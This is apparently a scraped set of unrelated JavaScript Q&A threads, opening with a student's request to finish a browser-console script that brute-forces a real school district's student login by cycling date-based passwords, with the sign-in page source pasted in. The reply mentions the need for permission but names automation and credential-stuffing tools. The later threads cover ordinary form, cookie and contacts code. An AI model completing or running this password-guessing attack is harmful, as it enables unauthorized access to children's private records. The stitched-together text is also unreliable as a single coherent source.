I am a high school student and I am trying to make a password cracker to show my school how vulnerable their Student Dashboard is. A student Dashboard is a website that contains student accounts, links, and private information like addresses, passwords, and relatives.
Everyone's password has the following syntax: Pmonth/day/year
EXAMPLE: P05/03/2005
There is a problem though, when the code clicks the sign in button, the URL changes, and the page reloads, which stops the code when I run it in the console.
Is there a way that I could keep the code running from console even if page reloads.
I have thought of using web cookies to store the last used password, and then when the page reloads, just input it into the password textbox, but I am not sure, since I haven't used cookies before.
Any help is greatly appreciated.
What I am aiming to do is that I input an Id, and then it tries to crack the password by going through all dates a year has after 2003.
I will appreciate all answers, but I would like my answer in raw javascript(no libraries).
The sign in page consists of an username textbox, a password textbox and a sign in button.
Here's what the sign in page looks like: Sign in page
Here is the source code of the page:
<!DOCTYPE html>
<html lang="en-US">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=10.000"/>
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<meta http-equiv="cache-control" content="no-cache,no-store"/>
<meta http-equiv="pragma" content="no-cache"/>
<meta http-equiv="expires" content="-1"/>
<meta name='mswebdialog-title' content='Connecting to Broward County Public Schools'/>
<title>Sign In</title>
<script type='text/javascript'>
//<![CDATA[
function LoginErrors(){this.userNameFormatError = 'Enter your user ID in the format \u0026quot;domain\\user\u0026quot; or \u0026quot;user#domain\u0026quot;.'; this.passwordEmpty = 'Enter your password.'; this.passwordTooLong = 'Password must be shorter than 128 characters.';}; var maxPasswordLength = 128;
//]]>
</script>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
function InputUtil(errTextElementID, errDisplayElementID) {
if (!errTextElementID) errTextElementID = 'errorText';
if (!errDisplayElementID) errDisplayElementID = 'error';
this.hasFocus = false;
this.errLabel = document.getElementById(errTextElementID);
this.errDisplay = document.getElementById(errDisplayElementID);
};
InputUtil.prototype.canDisplayError = function () {
return this.errLabel && this.errDisplay;
}
InputUtil.prototype.checkError = function () {
if (!this.canDisplayError){
throw new Error ('Error element not present');
}
if (this.errLabel && this.errLabel.innerHTML) {
this.errDisplay.style.display = '';
var cause = this.errLabel.getAttribute('for');
if (cause) {
var causeNode = document.getElementById(cause);
if (causeNode && causeNode.value) {
causeNode.focus();
this.hasFocus = true;
}
}
}
else {
this.errDisplay.style.display = 'none';
}
};
InputUtil.prototype.setInitialFocus = function (input) {
if (this.hasFocus) return;
var node = document.getElementById(input);
if (node) {
if ((/^\s*$/).test(node.value)) {
node.focus();
this.hasFocus = true;
}
}
};
InputUtil.prototype.setError = function (input, errorMsg) {
if (!this.canDisplayError) {
throw new Error('Error element not present');
}
input.focus();
if (errorMsg) {
this.errLabel.innerHTML = errorMsg;
}
this.errLabel.setAttribute('for', input.id);
this.errDisplay.style.display = '';
};
InputUtil.makePlaceholder = function (input) {
var ua = navigator.userAgent;
if (ua != null &&
(ua.match(/MSIE 9.0/) != null ||
ua.match(/MSIE 8.0/) != null ||
ua.match(/MSIE 7.0/) != null)) {
var node = document.getElementById(input);
if (node) {
var placeholder = node.getAttribute("placeholder");
if (placeholder != null && placeholder != '') {
var label = document.createElement('input');
label.type = "text";
label.value = placeholder;
label.readOnly = true;
label.style.position = 'absolute';
label.style.borderColor = 'transparent';
label.className = node.className + ' hint';
label.tabIndex = -1;
label.onfocus = function () { this.nextSibling.focus(); };
node.style.position = 'relative';
node.parentNode.style.position = 'relative';
node.parentNode.insertBefore(label, node);
node.onkeyup = function () { InputUtil.showHint(this); };
node.onblur = function () { InputUtil.showHint(this); };
node.style.background = 'transparent';
node.setAttribute("placeholder", "");
InputUtil.showHint(node);
}
}
}
};
InputUtil.focus = function (inputField) {
var node = document.getElementById(inputField);
if (node) node.focus();
};
InputUtil.hasClass = function(node, clsName) {
return node.className.match(new RegExp('(\\s|^)' + clsName + '(\\s|$)'));
};
InputUtil.addClass = function(node, clsName) {
if (!this.hasClass(node, clsName)) node.className += " " + clsName;
};
InputUtil.removeClass = function(node, clsName) {
if (this.hasClass(node, clsName)) {
var reg = new RegExp('(\\s|^)' + clsName + '(\\s|$)');
node.className = node.className.replace(reg, ' ');
}
};
InputUtil.showHint = function (node, gotFocus) {
if (node.value && node.value != '') {
node.previousSibling.style.display = 'none';
}
else {
node.previousSibling.style.display = '';
}
};
//]]>
</script>
<link rel="stylesheet" type="text/css" href="/adfs/portal/css/style.css?id=D74D4D6943F32AE6F7F11D14D601DBB0E1A58919176EE512150366B6279AAF99" /><style>.illustrationClass {background-image:url(/adfs/portal/illustration/illustration.jpg?id=EB0C84D8C0F5E1E10127F3AD4A4C45BCDAA7AC32FFE204DACEBEAF85C61DA2F9);}</style>
</head>
<body dir="ltr" class="body">
<div id="noScript" style="position:static; width:100%; height:100%; z-index:100">
<h1>JavaScript required</h1>
<p>JavaScript is required. This web browser does not support JavaScript or JavaScript in this web browser is not enabled.</p>
<p>To find out if your web browser supports JavaScript or to enable JavaScript, see web browser help.</p>
</div>
<script type="text/javascript" language="JavaScript">
document.getElementById("noScript").style.display = "none";
</script>
<div id="fullPage">
<div id="brandingWrapper" class="float">
<div id="branding"></div>
</div>
<div id="contentWrapper" class="float">
<div id="content">
<div id="header">
<img class="logoImage" src="/adfs/portal/logo/logo.png?id=4F68FA71CF303418A19ABB7297038B46FA3E25ED3754C2175A7B840EC6F97BE8" alt="Broward County Public Schools"/>
</div>
<div id="workArea">
<div id="authArea" class="groupMargin">
<div id="loginArea">
<div id="loginMessage" class="groupMargin">Sign in with your organizational account</div>
<form method="post" id="loginForm" autocomplete="off" novalidate="novalidate" onKeyPress="if (event && event.keyCode == 13) Login.submitLoginRequest();" action="/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f" >
<div id="error" class="fieldMargin error smallText">
<label id="errorText" for=""></label>
</div>
<div id="formsAuthenticationArea">
<div id="userNameArea">
<input id="userNameInput" name="UserName" type="email" value="" tabindex="1" class="text fullWidth"
spellcheck="false" placeholder="someone#example.com" autocomplete="off"/>
</div>
<div id="passwordArea">
<input id="passwordInput" name="Password" type="password" tabindex="2" class="text fullWidth"
placeholder="Password" autocomplete="off"/>
</div>
<div id="kmsiArea" style="display:none">
<input type="checkbox" name="Kmsi" id="kmsiInput" value="true" tabindex="3" />
<label for="kmsiInput">Keep me signed in</label>
</div>
<div id="submissionArea" class="submitMargin">
<span id="submitButton" class="submit" tabindex="4"
onKeyPress="if (event && event.keyCode == 32) Login.submitLoginRequest();"
onclick="return Login.submitLoginRequest();">Sign in</span>
</div>
</div>
<input id="optionForms" type="hidden" name="AuthMethod" value="FormsAuthentication"/>
</form>
<div id="authOptions">
<form id="options" method="post" action="https://fs.browardschools.com:443/adfs/ls/?wctx=WsFedOwinState%3doJ9avOrRYr1UaVPxwGOAIzjfQ78zxpRhLHRmhne8M1AEjI9Y5SUSP0viJgR2iCtpjpu-gGqW73MjMkyVrK9b_N9m5JlVSyznBQxTGDsRm5WDilyumMYDi4x5qL9-To1jCTs2bXP7iiZJuHS0aLiN-jXhIHy26i4J9qpsUHbiivCUYCZQNb0m68RqVJwDU-Cqf0DW1ieuP1_sAcqk3l0nwBlRoG-cO039YHVhBOyZSbnHfZtGqJRSX7p6yt5wwRQ6Y5vz9dPJ8V7FTz6-GIZPnk4ee4A&wa=wsignin1.0&wtrealm=http%3a%2f%2fgb.browardschools.com%2fpinnacle%2fgradebook%2f">
<script type="text/javascript">
function SelectOption(option) {
var i = document.getElementById('optionSelection');
i.value = option;
document.forms['options'].submit();
return false;
}
</script>
<input id="optionSelection" type="hidden" name="AuthMethod" />
<div class='groupMargin'></div>
</form>
</div>
<div id="introduction" class="groupMargin">
<p align=center><b>REPORT CHILD ABUSE</b></p><p align=center><b>CALL 1-800-96ABUSE OR 1-800-962-2873</b></p></BR><p align=center><b>Students</b></p><p>If you are a student, your login name is your
student number (06########). If you have forgotten your password, please contact your teacher. </p></BR><p
align=center><b>Staff</b></p><p>If you are staff, your login name should be your staff ID (P0#######). If you have forgotten your password,
please contact your tech.</p></BR><p align=center><b>Parents Accessing Pinnacle</b></p><p>If you are a parent of a student in grades 6-12
and are accessing Pinnacle, please use your child’s Active Directory userid and password to login. If you are the parent of a child in
grades 3-5, please use the <b>BCPS Mobile App</b> to view the current average grade your child has earned in each class.</p>
</div>
<script type="text/javascript">
//<![CDATA[
function Login() {
}
Login.userNameInput = 'userNameInput';
Login.passwordInput = 'passwordInput';
Login.initialize = function () {
var u = new InputUtil();
u.checkError();
u.setInitialFocus(Login.userNameInput);
u.setInitialFocus(Login.passwordInput);
}();
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (!userName.value || !userName.value.match('[#\\\\]')) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value) {
u.setError(password, e.passwordEmpty);
return false;
}
if (password.value.length > maxPasswordLength) {
u.setError(password, e.passwordTooLong);
return false;
}
document.forms['loginForm'].submit();
return false;
};
InputUtil.makePlaceholder(Login.userNameInput);
InputUtil.makePlaceholder(Login.passwordInput);
//]]>
</script>
</div>
</div>
</div>
<div id="footerPlaceholder"></div>
</div>
<div id="footer">
<div id="footerLinks" class="floatReverse">
<div><span id="copyright">© 2013 Microsoft</span></div>
</div>
</div>
</div>
</div>
<script type='text/javascript'>
//<![CDATA[
// Copyright (c) Microsoft Corporation. All rights reserved.
// This file contains several workarounds on inconsistent browser behaviors that administrators may customize.
"use strict";
// iPhone email friendly keyboard does not include "\" key, use regular keyboard instead.
// Note change input type does not work on all versions of all browsers.
if (navigator.userAgent.match(/iPhone/i) != null) {
var emails = document.querySelectorAll("input[type='email']");
if (emails) {
for (var i = 0; i < emails.length; i++) {
emails[i].type = 'text';
}
}
}
// In the CSS file we set the ms-viewport to be consistent with the device dimensions,
// which is necessary for correct functionality of immersive IE.
// However, for Windows 8 phone we need to reset the ms-viewport's dimension to its original
// values (auto), otherwise the viewport dimensions will be wrong for Windows 8 phone.
// Windows 8 phone has agent string 'IEMobile 10.0'
if (navigator.userAgent.match(/IEMobile\/10\.0/)) {
var msViewportStyle = document.createElement("style");
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{width:auto!important}"
)
);
msViewportStyle.appendChild(
document.createTextNode(
"#-ms-viewport{height:auto!important}"
)
);
document.getElementsByTagName("head")[0].appendChild(msViewportStyle);
}
// If the innerWidth is defined, use it as the viewport width.
if (window.innerWidth && window.outerWidth && window.innerWidth !== window.outerWidth) {
var viewport = document.querySelector("meta[name=viewport]");
viewport.setAttribute('content', 'width=' + window.innerWidth + 'px; initial-scale=1.0; maximum-scale=1.0');
}
// Gets the current style of a specific property for a specific element.
function getStyle(element, styleProp) {
var propStyle = null;
if (element && element.currentStyle) {
propStyle = element.currentStyle[styleProp];
}
else if (element && window.getComputedStyle) {
propStyle = document.defaultView.getComputedStyle(element, null).getPropertyValue(styleProp);
}
return propStyle;
}
// The script below is used for downloading the illustration image
// only when the branding is displaying. This script work together
// with the code in PageBase.cs that sets the html inline style
// containing the class 'illustrationClass' with the background image.
var computeLoadIllustration = function () {
var branding = document.getElementById("branding");
var brandingDisplay = getStyle(branding, "display");
var brandingWrapperDisplay = getStyle(document.getElementById("brandingWrapper"), "display");
if (brandingDisplay && brandingDisplay !== "none" &&
brandingWrapperDisplay && brandingWrapperDisplay !== "none") {
var newClass = "illustrationClass";
if (branding.classList && branding.classList.add) {
branding.classList.add(newClass);
} else if (branding.className !== undefined) {
branding.className += " " + newClass;
}
if (window.removeEventListener) {
window.removeEventListener('load', computeLoadIllustration, false);
window.removeEventListener('resize', computeLoadIllustration, false);
}
else if (window.detachEvent) {
window.detachEvent('onload', computeLoadIllustration);
window.detachEvent('onresize', computeLoadIllustration);
}
}
};
if (window.addEventListener) {
window.addEventListener('resize', computeLoadIllustration, false);
window.addEventListener('load', computeLoadIllustration, false);
}
else if (window.attachEvent) {
window.attachEvent('onresize', computeLoadIllustration);
window.attachEvent('onload', computeLoadIllustration);
}
if (typeof Login != 'undefined'){
Login.submitLoginRequest = function () {
var u = new InputUtil();
var e = new LoginErrors();
var userName = document.getElementById(Login.userNameInput);
var password = document.getElementById(Login.passwordInput);
if (userName.value && !userName.value.match('[#\\\\]'))
{
var userNameValue = 'browardschools\\' + userName.value;
document.forms['loginForm'].UserName.value = userNameValue;
}
if (!userName.value) {
u.setError(userName, e.userNameFormatError);
return false;
}
if (!password.value)
{
u.setError(password, e.passwordEmpty);
return false;
}
document.forms['loginForm'].submit();
return false;
};
}
// Check whether the loginMessage element is present on this page.
var loginMessage = document.getElementById('loginMessage');
if (loginMessage)
{
// loginMessage element is present, modify its properties.
loginMessage.innerHTML = 'Sign in with your Browardschools Personnel Number or Student Number';
}
//]]>
</script>
</body>
</html>
Here is my following code:
//Gets id textbox
var username = document.getElementById("userNameInput");
//Gets password textbox
var password = document.getElementById("passwordInput");
//Gets button
var clickbutton = document.getElementById("submitButton");
var num1 = 1; // Month, start
var num2 = 0; // Day start
var num3 = 2003; // Year start
var id = username.value;
var passwrd = password.value;
var _DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3; //Sets up the syntax for password Pmonth/day/year
function writeInput()
{
password.value = _DOB; // writes the _DOB value into the password textbox
clickbutton.click(); //clicks the sign in button
//SOTRES THE ID
id = username.value;
//ADDS THE NEXT DAY
num2 += 1; // If password is incorrect.
//RESETS DAY WHEN REACHES 31(max number a month has)
if(num2 > 31)
{
num2 = 1; // resets day to 1
num1 += 1; // adds 1 to the month count.
}
// ADDS NEXT YEAR
if(num2 == 31 && num1 == 12) // when reaches the last day of a year, it resets month and day, but adds one to the year count.
{
num3 += 1;
}
//RESET MONTH
if(num1 > 12)
{
num1 = 1;
}
if(num2 < 10)//Adds 0 to month and day if it is less than 10. Example: P5/5/2021 is not a correct systax, it turns to P05/05/2021. It adds the zeroes.
{
_DOB = "P" + "0" + num1 + "/" + "0" + num2 + "/" + num3;
}
else
{
_DOB = "P" + "0" + num1 + "/" + num2 + "/" + num3;
}
//Some output
clickbutton.onclick = console.log("SIGN IN BUTTON CLICKED");
console.log("Password used: " + _DOB);
}
}, 100);
}
setInterval(function()
{
writeInput();
}, 500);
Your challenge is to persist your JavaScript code inside a website hosted by someone else. All code within your browsers console is obsolete after page reload.
Another challenge you are facing is a legal one. It's highly recommended to get a permission to access an online service for the purpose you described. Any kind of security assessment has to be coordinated and aligned with the organization responsible for the questioned online service.
Since you will not want to change the content of the web server for legal reasons, you would need a tool manipulate the content served by the webserver within your client (read "browser").
There are browser automation tool like Puppeteer or Selenium Webdriver you can use to request any url repeatedly and to automate certain actions within the context of a browser like clicking elements, filling forms, executing JavaScript and so on.
Additionally there a fuzzers that can perform what is called credential stuffing. You can read more here about Burp Suite.
Does anyone know how to add like a link button into a form? For example, a user clicks a + button and they can add an URL. They can add another URL if they wish and remove any links if required. Would be good to have validation for links as well.
I know for validation of the URL I can use "Check if a JavaScript string is a URL", but will need something that will validate all links if multiple have been added.
The best way to explain what I am trying to do is by looking at "Can I insert a hyperlink in my form?" in the form builder.
I just want to add links, and I don't need to display text or anything like that.
Is this what are you looking for?
Your question is a bit unclear.
<!DOCTYPE html>
<html>
<head>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js"></script>
<script>
let i = 0;
let ii = 0;
function isURL(s) {
var regexp = /(ftp|http|https):\/\/(\w+:{0,1}\w*#)?(\S+)(:[0-9]+)?(\/|\/([\w#!:.?+=&%#!\-\/]))?/
return regexp.test(s);
}
function removeLink(id, iid) {
console.log(id);
console.log(iid);
$(id).remove();
$(iid).remove();
return false;
}
function addLink(id) {
var input = prompt("Enter the link", "https://www.example.com");
var valid = isURL(input);
console.log(valid);
if(valid) {
var element = '<br><a id="_' + i + '" href="' + input + '">Link</a>';
console.log(element);
$(id).append(element);
let d = "'#_" + i + "'";
let dd = "'#__" + ii + "'";
let elment = ' <button type="button" id="__' + ii + '" onclick="removeLink(' + d + ', ' + dd + ')">Remove it!</button>';
$(id).append(elment);
console.log(elment);
i = i + 1;
ii = ii + 1;
}
else {
alert("The URL that you have entred is wrong.");
}
return false;
}
</script>
</head>
<body>
<form id="_form" method="POST">
<button type="button" onclick="addLink('#_form')">Add link</button>
</form>
</body>
</html>
Try it here: https://codepen.io/marchmello/pen/ZEGjMyR?editors=1000
What about DOM - not using longer form, so using URL as link text too.
function addUrl(e) {
var f = e.form;
var a = document.createElement("A");
a.href = e.value; // link URL
a.textContent = e.value; // link text
f.appendChild(a);
var x = document.createElement("INPUT");
x.type = "button";
x.value = "X";
x.onclick = remove;
f.appendChild(x);
f.appendChild(document.createElement("BR"));
}
function remove() {
var el = this, // button
parent = el.parentNode, // a must for remove
a = el.previousElementSibling; // anchor
if(el.nextSibling.tagName == 'BR') parent.removeChild(el.nextSibling);
parent.removeChild(el);
parent.removeChild(a);
}
<form>
<input name="url" size="50">
<input type="button" value="Add" onclick="addUrl(this.form.url)"><br>
</form>
I have the following script. After a user clicks submits I want to redirect the user to the same page and populate the drop down and input box with parameter values from the url. Unfortunately they are not populating once the redirect completes. I also need to strip off * from the FilterMultiValue parameter so that the textbox has the orginal value entered?
I've checked the parameter values using an alert function and that works?
<script type="text/javascript">
function getUrlParams() {
var paramMap = {};
if (location.search.length == 0) {
return paramMap;
}
var parts = location.search.substring(1).split("&");
for (var i = 0; i < parts.length; i ++) {
var component = parts[i].split("=");
paramMap [decodeURIComponent(component[0])] = decodeURIComponent(component[1]);
}
return paramMap;
}
function RedirectUrl() {
var tb = document.getElementById("tbSearch").value;
var cs = document.getElementById("sfield").value;
var url = "";
if (tb != "") {
url = "FilterName=" + cs + "&FilterMultiValue=*" + tb + "*";
window.location.href = "mypage.aspx?" + url;
var params = getUrlParams();
alert(params.FilterName);
document.getElementById("sfield").value = params.FilterName;
document.getElementById('tbSearch').value = params.FilterMultiValue;
}
else {
return false;
}
}
function ClearUrl() {
window.location.href = "mypage.aspx";
document.getElementById("sfield").value = "";
document.getElementById('tbSearch').value = "";
}
</script>
Search Field:
<select id="sfield">
<option selected value="Title" >Title</option>
<option value="Body">Body</option>
</select>
Search Text:
<input type="text" id="tbSearch" />
<input type="button" id="btnSearch" value="Search" onclick="return RedirectUrl();" />
<input type="button" id="btnClear" value="Clear" onclick="return ClearUrl();" />
window.location.href = "mypage.aspx?" + url;
reloads the page, which will result in all code after that not beeing executed.
What you want to do is to add code for pageload and check if the parameters are given, then populate the textbox.
Something like:
window.addEventListener('load', function(){
var params = getUrlParams();
if(typeof params.FilterName !== 'undefined'){
// removes the first and the last char from the string
var t = params.FilterMultiValue.substr(1, params.FilterMultiValue.length-2);
document.getElementById("sfield").value = params.FilterName;
document.getElementById('tbSearch').value = t;
}
});
I am trying to Save user input from a textarea in a javascript cookie on the unload of a page and then read it back into a textarea when the user returns. The issue that I am having is the cookie is not saving when the user input reaches a certain length. It seems to be working fine with small strings.
Here is the html:
<html>
<head>
<title>Cookie Test</title>
<link rel="stylesheet" type="text/css" href="css/site.css">
</head>
<body class="full" onload="GetCookies()" onunload="WriteCookies()">
<div class="fullscreen-overlay" id="fullscreen_overlay">
<div class="fullscreen-container js-fullscreen-container">
<div class="textarea-wrap">
<textarea name="fullscreen-contents" id="fullscreen-contents"></textarea>
</div>
</div>
</div>
</body>
</html>
Javascript:
function WriteCookies() {
var d = new Date();
var n = document.getElementById('fullscreen-contents').value;
d.setDate(d.getDate() + 1);
document.cookie = "mainCookie = " + n + "; expires = " + d.toGMTString() + "";
}
function getCookie(cname) {
var name = cname + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1);
if (c.indexOf(name) == 0) return c.substring(name.length, c.length);
}
return "";
}
function GetCookies() {
document.getElementById('fullscreen-contents').value = getCookie('mainCookie');
}
Any ideas what could be going on? Thanks!
The max size of a cookie is 4093 bytes. Perhaps the long string is just eclipsing that limit. You could consider localStorage or sessionStorage instead
var text = document.getElementById('fullscreen-contents');
function saveText() {
localStorage.savedText = text.value;
console.log("saved");
}
function getText() {
if (localStorage.savedText) {
text.value = localStorage.savedText;
console.log("loaded");
}
}
Edited: Here is a fiddle
when i have to open this page i want to display all contacts in phone with out click on any button.
Here myFunction() displays all contacts.
I have to call `myFunction()`, in this code. I dont know where to call this function. Help me
var ar1 = new Array;
var ar2 = new Array;
var name, number;
var counter = 1;
document.addEventListener("deviceready", onDeviceReady, false);
function onDeviceReady() {
var options = new ContactFindOptions();
options.filter = "";
options.multiple = true;
filter = [ "displayName", "phoneNumbers" ];
navigator.contacts.find(filter, onSuccess, onError, options);
}
function onSuccess(contacts) {
for ( var i = 0; i < contacts.length; i++) {
for ( var j = 0; j < contacts[i].phoneNumbers.length; j++) {
name = contacts[i].displayName;
number = contacts[i].phoneNumbers[j].value;
ar1.push(name);
ar2.push(number);
// here i called myFunction(), but it's displaying one contact in multiple times
}
// here i called myFunction(), but it's displaying one contact in multiple times
}
// Here i called myFunction(), the function is not calling
}
function onError(contactError) {
alert('onError!');
}
// where to call this function
function myFunction() {
$("#checkall").click(function() {
if ($(this).is(':checked')) {
$(":checkbox").attr("checked", true);
} else {
$(":checkbox").attr("checked", false);
}
});
for ( var i = 0; i < ar2.length; i++) {
var newTextBoxDiv = $(document.createElement('div')).attr("id",
'TextBoxDiv' + counter);
newTextBoxDiv.after().html(
'<input type="checkbox" value="'
+ ar1[i] + '"/>'
+ ar1[i] + " " + " " + ar2[i] + '</br>');
newTextBoxDiv.appendTo("#TextBoxesGroup");
}
}
</script>
</head>
<body>
</br>
<div id="TextBoxesGroup">
<div id="TextBoxDiv1">
<input type="checkbox" id="checkall" value="check" />selectAll</br> <br />
<br /> <br />
</div>
</div>
</body>
</html>
I cannot catch what you want exactly.
if you want to generating phonenumber checkbox list when your app starts,
just call myFunction() in end of onSuccess() callback.
if you want another time, you should define a event handler that you want like below.
$("#PhonenumberListButton" ).click( function() { myFunction(); } );
and your code can occur index exception during loop.
Let's think about below.
each contact has 1 name but has 1 or more phone numbers
your code pushes each name into ar1 and also pushes each phone numbers of contact into ar2
so ar2.length can be greater than ar1.length
your generating display code use ar2.length for loop. it should make exception if any contact has 2 or more phonenumbers.
This's a reason of stop your loop in onSuccess().
Fixed Code
function onSuccess(contacts) {
for ( var i = 0; i < contacts.length; i++) {
name = contacts[i].displayName;
ar1.push(name);
ar2[i] = []; // array for multiple phone#.
for ( var j = 0; j < contacts[i].phoneNumbers.length; j++) {
number = contacts[i].phoneNumbers[j].value;
ar2[i].push(number);
}
}
myFunction(); // display phone numbers
}
function myFunction() {
$("#checkall").click(function() {
if ($(this).is(':checked')) {
$(":checkbox").attr("checked", true);
} else {
$(":checkbox").attr("checked", false);
}
});
for ( var i = 0; i < ar2.length; i++) {
if ( ar2[i].length ) { // avoid none phone# exception
var newTextBoxDiv = $(document.createElement('div')).attr("id",
'TextBoxDiv' + counter);
newTextBoxDiv.after().html(
'<input type="checkbox" value="'
+ ar1[i] + '"/>'
+ ar1[i] + " " + " " + ar2[i][0] + '</br>');
newTextBoxDiv.appendTo("#TextBoxesGroup");
}
}
}